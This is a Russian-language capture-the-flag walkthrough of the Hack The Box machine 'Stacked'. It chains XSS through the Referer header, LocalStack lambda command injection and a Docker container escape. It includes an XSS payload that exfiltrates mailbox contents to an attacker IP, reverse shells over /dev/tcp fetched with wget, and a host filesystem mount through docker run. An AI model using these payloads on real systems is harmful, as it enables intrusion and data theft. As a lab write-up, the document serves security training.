Хакер - HTB Stacked. Разбираемся с LocalStack и AWS

Хакер - HTB Stacked. Разбираемся с LocalStack и AWS

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Сканирование веб-контента
  • Точка входа
  • XSS
  • Точка опоры
  • LocalStack
  • AWS Lambda
  • Продвижение
  • Локальное повышение привилегий

В этой статье мы про­экс­плу­ати­руем XSS-уяз­вимость, получим дос­туп к Docker, заюзав баг в LocalStack, а затем зай­мем­ся по‑нас­тояще­му инте­рес­ной задачей — повыше­нием при­виле­гий внут­ри Docker и побегом из кон­тей­нера через OS Command Injection.

Все перечис­ленное нам понадо­бит­ся, что­бы прой­ти машину Stacked с пло­щад­ки Hack The Box. Ее уро­вень слож­ности заяв­лен как «безум­ный» (Insane), но мы спра­вим­ся, вот уви­дишь!

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.112 stacked.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На­ходим три откры­тых пор­та:

  • 22 — служ­ба OpenSSH 8.2p1;
  • 80 — веб‑сер­вер Apache 2.4.41;
  • 2376 — порт для безопас­ного дос­тупа к Docker.

Пер­вым делом идем смот­реть веб. Там нас встре­чает прос­тень­кая стра­нич­ка, на которой идет отсчет вре­мени. Поле вво­да, судя по все­му, не выпол­няет никаких опе­раций, а лишь переб­расыва­ет на index.html.

Глав­ная стра­ница сай­та stacked.htb

Сканирование веб-контента

Да­вай поищем на сай­те скры­тые ресур­сы.

Справка: сканирование веба c ffuf

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearch и DIRB.

Я пред­почитаю лег­кий и очень быс­трый ffuf. При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -u — URL;
  • -fc — исклю­чить из резуль­тата отве­ты с кодом 403.

За­пус­каем ска­ниро­вание:

ffuf -u http://stacked.htb/FUZZ -t 256 -w files_interesting.txt -mc 200,204,301,302,307,401,405

Ре­зуль­тат ска­ниро­вания фай­лов с помощью ffuf

Мы не наш­ли ничего инте­рес­ного. Пов­торим ска­ниро­вание в надеж­де обна­ружить скры­тые катало­ги.

ffuf -u http://stacked.htb/FUZZ -t 256 -w directory_2.3_medium_lowercase.txt -mc 200,204,301,302,307,401,405

Ре­зуль­тат ска­ниро­вания катало­гов с помощью ffuf

То­же ничего. Но закан­чивать ска­ниро­вание рано, ведь еще мож­но переб­рать под­домены. Это дол­жно при­вес­ти нас к новым сай­там на том же сер­вере. Для это­го будем переби­рать вир­туаль­ный хост в HTTP-заголов­ке Host:

ffuf -u http://stacked.htb -t 256 -w subdomains-top1million-110000.txt -H 'Host: FUZZ.stacked.htb' -mc 200

Ре­зуль­тат ска­ниро­вания под­доменов с помощью ffuf

И это дает резуль­тат — нам дос­тупен еще один сайт. Добав­ляем запись в файл /etc/hosts и идем смот­реть стра­ницу.

10.10.11.112 stacked.htb portfolio.stacked.htb

Глав­ная стра­ница сай­та portfolio.stacked.htb

На сай­те ска­зано про исполь­зование тех­нологии Docker LocalStack для ими­тации сер­висов AWS. Для под­клю­чения нам дают ска­чать файл docker-compose.yml.

Со­дер­жимое фай­ла docker-compose.yml

Чуть ниже видим фор­му, через которую мож­но отпра­вить сооб­щение. Так как нам при­ходит уве­дом­ление, зна­чит, это оче­вид­ное мес­то для поис­ка XSS-уяз­вимос­ти.

Уве­дом­ление об отправ­ке сооб­щения

Поп­робу­ем отпра­вить прос­той код, который дол­жен заг­рузить JS-файл с нашего сер­вера:

<script src="http://10.10.14.93/test.js"></script>

В ответ получа­ем сооб­щение о детек­те XSS.

Уве­дом­ление о детек­те XSS

ТОЧКА ВХОДА

XSS

Нам пред­сто­ит прор­вать­ся сквозь филь­тр XSS, а для это­го пер­вым делом выяс­ним, где он работа­ет — на сер­вере или пря­мо в нашем бра­узе­ре. Это мож­но сде­лать, испра­вив зна­чение полей при перех­вате зап­роса в Burp, одна­ко мы получим тот же ответ о детек­те. Зна­чит, про­вер­ка идет на сер­вере.

Сле­дом про­верим два заголов­ка HTTP, через которые час­то мож­но получить XSS: Referer и User-Agent. И пер­вый же дает нам отстук на 80-й порт (ловим его через лис­тенер netcat).

Зап­рос в Burp Repeater
Зап­рос фай­ла test.js на локаль­ном веб‑сер­вере

Есть XSS! К тому же поле Referer рас­кры­вает нам новый ресурс. Как кру­то экс­плу­ати­ровать XSS в подоб­ных ситу­ациях, я уже опи­сывал в про­хож­дении машины Crossfit.

Наз­вание под­домена и фай­ла на сер­вере ука­зыва­ют на то, что это поч­товый кли­ент, а параметр сооб­щает, что наше сооб­щение приш­ло вто­рым. Поп­робу­ем про­читать пер­вое. Сле­дующий код (файл test.js) дол­жен выпол­нить зап­рос это­го сооб­щения, закоди­ровать тело стра­ницы в Base64 и отпра­вить его в качес­тве парамет­ра answer на свой локаль­ный сер­вер.

var xhr = new XMLHttpRequest();

xhr.open('GET', 'http://mail.stacked.htb/read-mail.php?id=1', true);

xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');

xhr.onload = function () {

var request = new XMLHttpRequest();

request.open('GET', 'http://10.10.14.93/?answer=' + btoa(xhr.responseText), true);

request.send();

};

xhr.send();

Толь­ко перед пов­тором зап­роса перек­лючим лис­тенер netcat на веб‑сер­вер Python 3 (коман­да python3 -m http.server 80). Отправ­ляем зап­рос и получа­ем два зап­роса в ответ.

Ло­ги веб‑сер­вера Python 3

Де­коди­руем Base64 и добира­емся до тела сооб­щения.

Пер­вое сооб­щение из поч­тового ящи­ка поль­зовате­ля

Тут говорит­ся о новом сер­висе s3-testing.stacked.htb, а так­же о том, что у нас есть пра­ва на нас­трой­ку ролей (по умол­чанию LocalStack не име­ет политик безопас­ности). Добав­ляем это домен­ное имя в файл /etc/hosts и выпол­няем тес­товый зап­рос.

10.10.11.112 stacked.htb portfolio.stacked.htb s3-testing.stacked.htb

curl s3-testing.stacked.htb | jq

Про­вер­ка работы сер­виса

И сра­зу кон­фигури­руем awscli.

aws configure

Под­готов­ка awscli

А теперь перехо­дим к самому инте­рес­ному.

ТОЧКА ОПОРЫ

LocalStack

Про­ект с откры­тым исходным кодом LocalStack поз­воля­ет лег­ко раз­рабаты­вать облачные при­ложе­ния AWS на локаль­ном хос­те. Он раз­ворачи­вает тес­товую сре­ду, которая обес­печива­ет поч­ти те же фун­кции и API, что и нас­тоящий AWS, но без мас­шта­биро­вания и с мень­шей надеж­ностью. На сер­вере исполь­зует­ся LocalStack вер­сии 0.12.6 (ука­зано в ска­чан­ном фай­ле docker-compose.yml), в которой име­ется уяз­вимость, поз­воля­ющая выпол­нить уда­лен­ный код (RCE) через лям­бда‑фун­кции.

Уяз­вимость кро­ется в трех фай­лах: api.pyinfra.py и bootstrap.py. В пер­вом фай­ле опре­деля­ется путь (route), который вызыва­ет фун­кцию get_lambda_code(). Затем эта фун­кция выпол­няет­ся с поль­зователь­ским вво­дом.

@app.route('/lambda/<functionName>/code', methods=['POST'])

def get_lambda_code(functionName):

...

result = infra.get_lambda_code(func_name=functionName, env=env)

Во вто­ром фай­ле управля­емый поль­зовате­лем ввод func_name объ­еди­няет­ся в сис­темную коман­ду. Без какой‑либо очис­тки он переда­ется в фун­кцию cmd_lambda(). Через ряд фун­кций поль­зователь­ский ввод попада­ет в run().

def get_lambda_code(func_name, retries=1, cache_time=None, env=None):

...

out = cmd_lambda('get-function --function-name %s' % func_name, env, cache_time)

В фай­ле bootstrap.py коман­да выпол­няет­ся через subprocess.check_output(). Здесь параметр cmd содер­жит управля­емый поль­зовате­лем ввод. Это при­водит к уяз­вимос­ти внед­рения команд, пос­коль­ку зло­умыш­ленник может завер­шить исходную коман­ду и выпол­нить свою собс­твен­ную.

def run(cmd, print_error=True, stderr=subprocess.STDOUT, env_vars=None, inherit_cwd=False, inherit_env=True):

...

output = subprocess.check_output(cmd, shell=True, stderr=stderr, env=env_dict, cwd=cwd)

AWS Lambda

С LocalStack разоб­рались, теперь перей­дем к лям­бда‑фун­кци­ям. Lambda — это пред­ложение Amazon для бес­сервер­ных вычис­лений. Вмес­то того что­бы раз­мещать вир­туаль­ную машину в обла­ке, наз­нача­ется фун­кция и набор триг­геров. Ког­да сра­баты­вает триг­гер (дей­ствия осно­ваны на событи­ях или вре­мени), наз­начен­ная фун­кция запус­кает­ся.

Соз­дадим фун­кцию, в име­ни которой будет внед­рена коман­да, ска­чива­ющая с нашего хос­та реверс‑шелл и выпол­няющая его. Для это­го необ­ходимо ука­зать сле­дующие парамет­ры:

  • --function-name — имя фун­кции;
  • --zip-file — наз­вание заг­ружа­емо­го пакета;
  • --handler — вызыва­емая фун­кция в фор­мате [файл].[функция];
  • --role — роль фун­кции в фор­мате ARN;
  • --runtime - интер­пре­татор для запус­ка кода.

При­мер лям­бда‑фун­кции мож­но пос­мотреть в до­кумен­тации.

exports.handler = async function(event, context) {

console.log("EVENT: \n" + JSON.stringify(event, null, 2))

return context.logStreamName

}

За­тем упа­ковы­ваем в ZIP.

zip index.zip index.js

Ис­поль­зуем wget 10.10.14.93/shell.sh;bash shell.sh, которая ска­чает и выпол­нит сле­дующий реверс‑шелл.

bash -i &>/dev/tcp/10.10.14.93/4321 0>&1

А так­же откры­ваем лис­тенер netcat (rlwrap -cAr nc -lvnp 4321). И наконец, соз­даем лям­бда‑фун­кцию.

aws lambda create-function --function-name 'ralf;wget${IFS}10.10.14.93/shell.sh;bash${IFS}shell.sh' --zip-file fileb://index.zip --role arn:aws:iam::123456789012:role/lambda-role --endpoint-url http://s3-testing.stacked.htb --handler index.handler --runtime nodejs12.x

Соз­дание лям­бда‑фун­кции

Ко­ман­да в наз­вании фун­кции сра­баты­вает, толь­ко ког­да оно отоб­ража­ется на веб‑панели. А зна­чит, поль­зователь дол­жен посетить эту панель. Для это­го мы и исполь­зуем най­ден­ную ранее уяз­вимость XSS. По умол­чанию панель работа­ет на пор­те 8080. Что­бы поль­зователь перешел на ука­зан­ный адрес, отправ­ляем сле­дующую наг­рузку.

<script>document.location="http://127.0.0.1:8000"</script>

От­прав­ка зап­роса с наг­рузкой

И спус­тя некото­рое вре­мя на локаль­ный веб‑сер­вер при­дет зап­рос, а в окне лис­тенера обна­ружим бэк­коннект.

Флаг поль­зовате­ля

ПРОДВИЖЕНИЕ

По­лучи­ли дос­туп к сис­теме, а это озна­чает, что нуж­но соб­рать информа­цию. Обыч­но я исполь­зую скрип­ты LinPEAS, что­бы собирать информа­цию с хос­та, и DEEPCE — что­бы собирать информа­цию в Docker. Но в этот раз с их помощью не уда­лось най­ти ничего инте­рес­ного.

Поп­робу­ем отсле­дить запус­каемые про­цес­сы. Для это­го заг­рузим на хост ути­литу pspy. Сно­ва ничего не находим, пока не поп­робу­ем соз­дать новую лям­бда‑фун­кцию.

aws lambda create-function --function-name 'ralf_test' --zip-file fileb://index.zip --role arn:aws:iam::123456789012:role/lambda-role --endpoint-url http://s3-testing.stacked.htb --handler index.handler --runtime nodejs12.x

Ло­ги pspy

Поп­робу­ем выз­вать сра­баты­вание триг­гера.

aws lambda invoke --function-name ralf_test --endpoint-url http://s3-testing.stacked.htb out.txt

Ло­ги pspy

В логах находим отра­жение передан­ного нами при соз­дании фун­кции фор­мата index.handler. То есть мы можем поп­робовать выпол­нить инъ­екцию коман­ды ОС:

index.handler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.14.93/4321 0>&1")

Соз­даем лям­бда‑фун­кцию:

aws lambda create-function --function-name 'ralf_test' --zip-file fileb://index.zip --role arn:aws:iam::123456789012:role/lambda-role --endpoint-url http://s3-testing.stacked.htb --handler 'index.handler $(/bin/bash -c "bash -i &>/dev/tcp/10.10.14.93/4321 0>&1")' --runtime nodejs12.x

И пос­ле вызова триг­гера получа­ем бэк­коннект, при­чем в при­виле­гиро­ван­ном кон­тек­сте.

aws lambda invoke --function-name ralf_test --endpoint-url http://s3-testing.stacked.htb out.txt

Бэк­коннект от сер­вера

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Мы получи­ли неог­раничен­ные при­виле­гии и с помощью Docker API можем соз­дать новый кон­тей­нер или пере­опре­делить сущес­тву­ющий, при этом мон­тировав фай­ловую сис­тему основно­го хос­та. Получим спи­сок обра­зов.

docker image ls

Спи­сок обра­зов

По­лучим TTY-обо­лоч­ку через Python:

python3 -c 'import pty;pty.spawn("/bin/bash")'

Те­перь мон­тиру­ем хос­товую фай­ловую сис­тему / в каталог /mnt обра­за 0601ea177088.

docker run -d -v /:/mnt -it 0601ea177088

Пе­реоп­ределе­ние кон­тей­нера

Про­веря­ем каталог /mnt, и там будет «основной хост».

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page